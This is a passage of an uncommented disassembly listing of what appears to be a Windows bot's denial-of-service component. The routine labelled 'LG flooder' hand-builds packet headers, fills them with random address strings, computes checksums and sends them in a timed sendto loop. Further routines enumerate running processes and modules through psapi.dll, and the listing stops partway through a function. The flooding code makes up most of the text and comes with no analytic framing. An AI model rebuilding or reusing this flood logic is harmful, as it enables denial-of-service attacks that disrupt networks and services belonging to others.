mov ecx, [ebp+var_133C]
mov [ecx], al
mov eax, [ebp+var_133C]
mov byte ptr [eax+9], 11h
mov eax, [ebp+var_133C]
mov ecx, [ebp+var_C]
mov [eax+10h], ecx
mov eax, [ebp+var_133C]
mov cx, [ebp+var_E]
mov [eax+16h], cx
and [ebp+var_1338], 0
jmp short loc_4057B6
; ---------------------------------------------------------------------------
loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j
mov eax, [ebp+var_1338]
inc eax
mov [ebp+var_1338], eax
loc_4057B6: ; CODE XREF: sub_4055E5+1C2j
mov eax, [ebp+var_1338]
cmp eax, [ebp+var_1087]
jge loc_405E27
mov eax, [ebp+var_107F]
mov [ebp+var_1358], eax
cmp [ebp+var_1358], 1
jz short loc_4057FC
cmp [ebp+var_1358], 2
jz loc_405924
cmp [ebp+var_1358], 3
jz loc_405A11
jmp loc_405C71
; ---------------------------------------------------------------------------
loc_4057FC: ; CODE XREF: sub_4055E5+1F6j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_40581E: ; CODE XREF: sub_4055E5+2BFj
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_4058A9
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_40581E
; ---------------------------------------------------------------------------
loc_4058A9: ; CODE XREF: sub_4055E5+247j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset dword_418A64
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405C93
; ---------------------------------------------------------------------------
loc_405924: ; CODE XREF: sub_4055E5+1FFj
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405946: ; CODE XREF: sub_4055E5+3CBj
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_4059B2
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp short loc_405946
; ---------------------------------------------------------------------------
loc_4059B2: ; CODE XREF: sub_4055E5+36Fj
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset dword_418A64
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405C93
; ---------------------------------------------------------------------------
loc_405A11: ; CODE XREF: sub_4055E5+20Cj
push 2
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_134C], eax
cmp [ebp+var_134C], 0
jnz short loc_405A52
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset dword_418A60
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
jmp loc_405C6F
; ---------------------------------------------------------------------------
loc_405A52: ; CODE XREF: sub_4055E5+444j
cmp [ebp+var_134C], 1
jnz loc_405B87
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405A81: ; CODE XREF: sub_4055E5+522j
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_405B0C
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405A81
; ---------------------------------------------------------------------------
loc_405B0C: ; CODE XREF: sub_4055E5+4AAj
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 0FFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push offset dword_418A64
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp loc_405C6F
; ---------------------------------------------------------------------------
loc_405B87: ; CODE XREF: sub_4055E5+474j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset aU ; "%u\r\n"
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405BA9: ; CODE XREF: sub_4055E5+62Ej
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
cmp eax, 7D0h
jnb short loc_405C15
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
jmp short loc_405BA9
; ---------------------------------------------------------------------------
loc_405C15: ; CODE XREF: sub_4055E5+5D2j
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push 0
call sub_4103F5
pop ecx
pop ecx
movzx eax, al
push eax
push 1
push offset dword_418A64
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_14]
add ecx, eax
push ecx
call sub_416B5E ; sprintf
add esp, 1Ch
loc_405C6F: ; CODE XREF: sub_4055E5+468j
; sub_4055E5+59Dj
jmp short loc_405C93
; ---------------------------------------------------------------------------
loc_405C71: ; CODE XREF: sub_4055E5+212j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
movzx eax, ax
push eax
push offset dword_418A60
push [ebp+var_14]
call sub_416B5E ; sprintf
add esp, 0Ch
loc_405C93: ; CODE XREF: sub_4055E5+33Aj
; sub_4055E5+427j ...
push [ebp+var_14]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_1354], eax
and [ebp+var_1350], 0
jmp short loc_405CB8
; ---------------------------------------------------------------------------
loc_405CAB: ; CODE XREF: sub_4055E5+6F9j
mov eax, [ebp+var_1350]
inc eax
mov [ebp+var_1350], eax
loc_405CB8: ; CODE XREF: sub_4055E5+6C4j
mov eax, [ebp+var_1350]
cmp eax, [ebp+var_1354]
jnb short loc_405CE0
mov eax, [ebp+var_14]
add eax, [ebp+var_1350]
mov al, [eax]
shl al, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1350]
mov [ecx], al
jmp short loc_405CAB
; ---------------------------------------------------------------------------
loc_405CE0: ; CODE XREF: sub_4055E5+6DFj
mov eax, [ebp+var_1354]
add eax, 1Ch
push eax
call ds:dword_417238 ; htons
mov ecx, [ebp+var_133C]
mov [ecx+2], ax
call sub_41043F
push eax
call ds:dword_417238 ; htons
mov ecx, [ebp+var_133C]
mov [ecx+4], ax
call sub_410483
neg eax
sbb eax, eax
and al, 0C0h
add eax, 80h
mov ecx, [ebp+var_133C]
mov [ecx+8], al
push 2
push offset dword_41EF48
call ds:dword_417244 ; inet_addr
push eax
call sub_4040E8
pop ecx
pop ecx
mov ecx, [ebp+var_133C]
mov [ecx+0Ch], eax
mov eax, [ebp+var_1354]
add eax, 14h
push eax
push [ebp+var_133C]
call sub_40407D
pop ecx
pop ecx
mov ecx, [ebp+var_133C]
mov [ecx+0Ah], ax
movzx eax, [ebp+var_E]
test eax, eax
jnz short loc_405D7F
call sub_41043F
mov ecx, [ebp+var_133C]
mov [ecx+16h], ax
loc_405D7F: ; CODE XREF: sub_4055E5+789j
push 0FFFFh
push 1
call sub_4103F5
pop ecx
pop ecx
push eax
call ds:dword_417238 ; htons
mov ecx, [ebp+var_133C]
mov [ecx+14h], ax
mov eax, [ebp+var_1354]
add eax, 8
push eax
call ds:dword_417238 ; htons
mov ecx, [ebp+var_133C]
mov [ecx+18h], ax
push 10h
lea eax, [ebp+var_10]
push eax
push 0
mov eax, [ebp+var_1354]
add eax, 1Ch
push eax
lea eax, [ebp+var_1074]
push eax
push [ebp+var_1078]
call ds:dword_417250 ; sendto
mov [ebp+var_1348], eax
cmp [ebp+var_1348], 0FFFFFFFFh
jnz short loc_405E08
push [ebp+var_1334]
call sub_409763
pop ecx
push [ebp+var_1078]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_405E41
; ---------------------------------------------------------------------------
loc_405E08: ; CODE XREF: sub_4055E5+805j
push [ebp+var_1083]
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1334]
cmp dword ptr [eax+4], 0
jz short loc_405E22
jmp short loc_405E27
; ---------------------------------------------------------------------------
loc_405E22: ; CODE XREF: sub_4055E5+839j
jmp loc_4057A9
; ---------------------------------------------------------------------------
loc_405E27: ; CODE XREF: sub_4055E5+1DDj
; sub_4055E5+83Bj
push [ebp+var_1078]
call sub_4053B1
pop ecx
push [ebp+var_1334]
call sub_409763
pop ecx
xor eax, eax
locret_405E41: ; CODE XREF: sub_4055E5+59j
; sub_4055E5+94j ...
leave
retn 4
sub_4055E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_4], 0
jz short loc_405E5D
cmp [ebp+arg_8], 0
jz short loc_405E5D
cmp [ebp+arg_14], 0
jnz short loc_405E62
loc_405E5D: ; CODE XREF: sub_405E45+Aj
; sub_405E45+10j
jmp locret_405F65
; ---------------------------------------------------------------------------
loc_405E62: ; CODE XREF: sub_405E45+16j
push 2B9h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_405E7B
jmp locret_405F65
; ---------------------------------------------------------------------------
loc_405E7B: ; CODE XREF: sub_405E45+2Fj
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 1A7h
push eax
call sub_407A56
add esp, 0Ch
push 6
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 2A7h
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+2ADh], eax
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+2B1h], eax
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+2B5h], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+2B1h], 0EA60h
jge short loc_405F0E
mov eax, [ebp+var_4]
mov eax, [eax+2B1h]
mov [ebp+var_8], eax
jmp short loc_405F15
; ---------------------------------------------------------------------------
loc_405F0E: ; CODE XREF: sub_405E45+B9j
mov [ebp+var_8], 0EA60h
loc_405F15: ; CODE XREF: sub_405E45+C7j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+2B1h], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+2B1h], 64h
jle short loc_405F3B
mov eax, [ebp+var_4]
mov eax, [eax+2B1h]
mov [ebp+var_C], eax
jmp short loc_405F42
; ---------------------------------------------------------------------------
loc_405F3B: ; CODE XREF: sub_405E45+E6j
mov [ebp+var_C], 64h
loc_405F42: ; CODE XREF: sub_405E45+F4j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_C]
mov [eax+2B1h], ecx
push offset aLgFlooder ; "LG flooder"
push 0
push [ebp+var_4]
push offset sub_4055E5
call sub_4095A4
add esp, 10h
locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj
; sub_405E45+31j
leave
retn
sub_405E45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep
; sub_401D6E+77p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jnz short loc_405F8E
push 1A3h
push 0
push [ebp+arg_0]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_0]
mov byte ptr [eax+198h], 1
jmp short loc_405FA1
; ---------------------------------------------------------------------------
loc_405F8E: ; CODE XREF: sub_405F67+7j
push 1A3h
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
loc_405FA1: ; CODE XREF: sub_405F67+25j
pop ebp
retn
sub_405F67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405FA3 proc near ; CODE XREF: sub_4167F1+D0p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push offset dword_41E2B0
call sub_409C36
pop ecx
push offset aPsapi_dll ; "psapi.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_405FC8
jmp short locret_40603F
; ---------------------------------------------------------------------------
loc_405FC8: ; CODE XREF: sub_405FA3+21j
push offset aEnumprocesses ; "EnumProcesses"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2AC, eax
push offset aEnumprocessmod ; "EnumProcessModules"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2A0, eax
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2A4, eax
push offset aGetmoduleinfor ; "GetModuleInformation"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41E2A8, eax
cmp dword_41E2AC, 0
jz short locret_40603F
cmp dword_41E2A0, 0
jz short locret_40603F
cmp dword_41E2A4, 0
jz short locret_40603F
cmp dword_41E2A8, 0
jz short locret_40603F
mov byte_41E2CC, 1
locret_40603F: ; CODE XREF: sub_405FA3+23j
; sub_405FA3+78j ...
leave
retn
sub_405FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp
; sub_40637C+29p
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_12B = byte ptr -12Bh
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 13Ch
push esi
push edi
push offset dword_41E2B0
call sub_409C6C
pop ecx
movzx eax, byte_41E2CC
test eax, eax
jnz short loc_406074
push offset dword_41E2B0
call sub_409C7A
pop ecx
xor eax, eax
jmp loc_40636A
; ---------------------------------------------------------------------------
loc_406074: ; CODE XREF: sub_406041+1Fj
and [ebp+var_C], 0
and [ebp+var_4], 0
and [ebp+var_1C], 0
push [ebp+var_1C]
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_406097
jmp loc_406368
; ---------------------------------------------------------------------------
loc_406097: ; CODE XREF: sub_406041+4Fj
; sub_406041:loc_4060E9j
mov eax, [ebp+var_1C]
add eax, 80h
mov [ebp+var_1C], eax
push [ebp+var_1C]
push [ebp+var_14]
call sub_416BF6 ; realloc
pop ecx
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4060BD
jmp loc_406366
; ---------------------------------------------------------------------------
loc_4060BD: ; CODE XREF: sub_406041+75j
lea eax, [ebp+var_4]
push eax
push [ebp+var_1C]
push [ebp+var_14]
call dword_41E2AC
test eax, eax
jnz short loc_4060DF
push [ebp+var_14]
call sub_416B4C ; free
pop ecx
jmp loc_406364
; ---------------------------------------------------------------------------
loc_4060DF: ; CODE XREF: sub_406041+8Ej
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
jnb short loc_4060E9
jmp short loc_4060EB
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_406041+A4j
jmp short loc_406097
; ---------------------------------------------------------------------------
loc_4060EB: ; CODE XREF: sub_406041+A6j
mov eax, [ebp+var_4]
shr eax, 2
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
imul eax, 114h
add eax, 8
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_40611E
push [ebp+var_14]
call sub_416B4C ; free
pop ecx
jmp loc_406362
; ---------------------------------------------------------------------------
loc_40611E: ; CODE XREF: sub_406041+CDj
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov eax, [ebp+var_C]
add eax, 8
mov ecx, [ebp+var_C]
mov [ecx+4], eax
and [ebp+var_10], 0
jmp short loc_40613F
; ---------------------------------------------------------------------------
loc_406138: ; CODE XREF: sub_406041+156j
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_10], eax
loc_40613F: ; CODE XREF: sub_406041+F5j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_8]
jnb short loc_406199
push 114h
push 0
mov eax, [ebp+var_C]
push dword ptr [eax+4]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_10]
mov esi, [ebp+var_14]
mov edx, [esi+edx*4]
mov [ecx+eax], edx
push offset aSystem ; "system"
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_406138
; ---------------------------------------------------------------------------
loc_406199: ; CODE XREF: sub_406041+104j
push [ebp+var_14]
call sub_416B4C ; free
pop ecx
and [ebp+var_10], 0
jmp short loc_4061AF
; ---------------------------------------------------------------------------
loc_4061A8: ; CODE XREF: sub_406041+1A8j
; sub_406041+1D8j ...
mov eax, [ebp+var_10]
inc eax
mov [ebp+var_10], eax
loc_4061AF: ; CODE XREF: sub_406041+165j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_8]
jnb loc_406343
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
push 0
push 410h
call ds:dword_417094 ; OpenProcess
mov [ebp+var_130], eax
cmp [ebp+var_130], 0
jnz short loc_4061EB
jmp short loc_4061A8
; ---------------------------------------------------------------------------
loc_4061EB: ; CODE XREF: sub_406041+1A6j
and [ebp+var_20], 0
and [ebp+var_28], 0
lea eax, [ebp+var_20]
push eax
push 4
lea eax, [ebp+var_28]
push eax
push [ebp+var_130]
call dword_41E2A0
test eax, eax
jnz short loc_40621B
push [ebp+var_130]
call ds:dword_4170A4 ; CloseHandle
jmp short loc_4061A8
; ---------------------------------------------------------------------------
loc_40621B: ; CODE XREF: sub_406041+1CAj
push 0Ch
lea eax, [ebp+var_13C]
push eax
push [ebp+var_28]
push [ebp+var_130]
call dword_41E2A8
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_13C]
mov [ecx+eax+4], edx
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_138]
mov [ecx+eax+8], edx
mov al, byte_41DE30
mov [ebp+var_12C], al
push 40h
pop ecx
xor eax, eax
lea edi, [ebp+var_12B]
rep stosd
stosw
stosb
push 104h
lea eax, [ebp+var_12C]
push eax
push [ebp+var_13C]
push [ebp+var_130]
call dword_41E2A4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz loc_406332
movsx eax, [ebp+var_12C]
test eax, eax
jz short loc_406332
push 104h
lea eax, [ebp+var_12C]
push eax
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
lea eax, [ebp+var_12C]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_18], eax
jmp short loc_4062F7
; ---------------------------------------------------------------------------
loc_4062F0: ; CODE XREF: sub_406041:loc_406330j
mov eax, [ebp+var_18]
dec eax
mov [ebp+var_18], eax
loc_4062F7: ; CODE XREF: sub_406041+2ADj
cmp [ebp+var_18], 0
jz short loc_406332
cmp [ebp+var_18], 1
ja short loc_406305
jmp short loc_406332
; ---------------------------------------------------------------------------
loc_406305: ; CODE XREF: sub_406041+2C0j
mov eax, [ebp+var_18]
movsx eax, byte ptr [ebp+eax+var_130+3]
cmp eax, 5Ch
jnz short loc_406330
mov eax, [ebp+var_10]
imul eax, 114h
mov ecx, [ebp+var_C]
mov ecx, [ecx+4]
mov edx, [ebp+var_18]
mov [ecx+eax+110h], edx
jmp short loc_406332
; ---------------------------------------------------------------------------
loc_406330: ; CODE XREF: sub_406041+2D2j
jmp short loc_4062F0
; ---------------------------------------------------------------------------
loc_406332: ; CODE XREF: sub_406041+264j
; sub_406041+273j ...
push [ebp+var_130]
call ds:dword_4170A4 ; CloseHandle
jmp loc_4061A8
; ---------------------------------------------------------------------------
loc_406343: ; CODE XREF: sub_406041+174j
push offset dword_41E2B0
call sub_409C7A
pop ecx
mov eax, [ebp+var_C]
jmp short loc_40636A
; ---------------------------------------------------------------------------
loc_406353: ; CODE XREF: sub_406041:loc_406362j
; sub_406041:loc_406364j ...
push offset dword_41E2B0
call sub_409C7A
pop ecx
xor eax, eax
jmp short loc_40636A
; ---------------------------------------------------------------------------
loc_406362: ; CODE XREF: sub_406041+D8j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_406364: ; CODE XREF: sub_406041+99j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_406366: ; CODE XREF: sub_406041+77j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_406368: ; CODE XREF: sub_406041+51j
jmp short loc_406353
; ---------------------------------------------------------------------------
loc_40636A: ; CODE XREF: sub_406041+2Ej
; sub_406041+310j ...
pop edi
pop esi
leave
retn
sub_406041 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40636E proc near ; CODE XREF: sub_401244+4D2p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
pop ebp
retn
sub_40636E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo
var_1B0 = dword ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_1A8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
call sub_406041
mov [ebp+var_1AC], eax
cmp [ebp+var_1AC], 0
jz loc_4064AD
mov eax, [ebp+var_1AC]
push dword ptr [eax]
mov eax, [ebp+var_1A8]
push dword ptr [eax]
push offset dword_418B1C
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 10h
and [ebp+var_1B0], 0
jmp short loc_4063F7
; ---------------------------------------------------------------------------
loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj
mov eax, [ebp+var_1B0]
inc eax
mov [ebp+var_1B0], eax
loc_4063F7: ; CODE XREF: sub_40637C+6Cj
mov eax, [ebp+var_1AC]
mov ecx, [ebp+var_1B0]
cmp ecx, [eax]
jge loc_4064A1
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
lea eax, [ecx+eax+0Ch]
push eax
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
push dword ptr [ecx+eax+8]
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
push dword ptr [ecx+eax+4]
mov eax, [ebp+var_1B0]
imul eax, 114h
mov ecx, [ebp+var_1AC]
mov ecx, [ecx+4]
push dword ptr [ecx+eax]
push offset dword_418B04
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 18h
mov eax, [ebp+var_1A8]
cmp dword ptr [eax+4], 0
jz short loc_40649C
jmp short loc_4064A1
; ---------------------------------------------------------------------------
loc_40649C: ; CODE XREF: sub_40637C+11Cj
jmp loc_4063EA
; ---------------------------------------------------------------------------
loc_4064A1: ; CODE XREF: sub_40637C+89j
; sub_40637C+11Ej
push [ebp+var_1AC]
call sub_416B4C ; free
pop ecx
loc_4064AD: ; CODE XREF: sub_40637C+3Bj
push [ebp+var_1A8]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_40637C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4064D9
jmp short locret_406507
; ---------------------------------------------------------------------------
loc_4064D9: ; CODE XREF: sub_4064BF+16j
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push offset dword_418B44
push 0
push [ebp+var_4]
push offset sub_40637C
call sub_4095A4
add esp, 10h
locret_406507: ; CODE XREF: sub_4064BF+18j
leave
retn
sub_4064BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+arg_4], 0
jz short loc_40651B
cmp [ebp+arg_C], 0
jnz short loc_406520
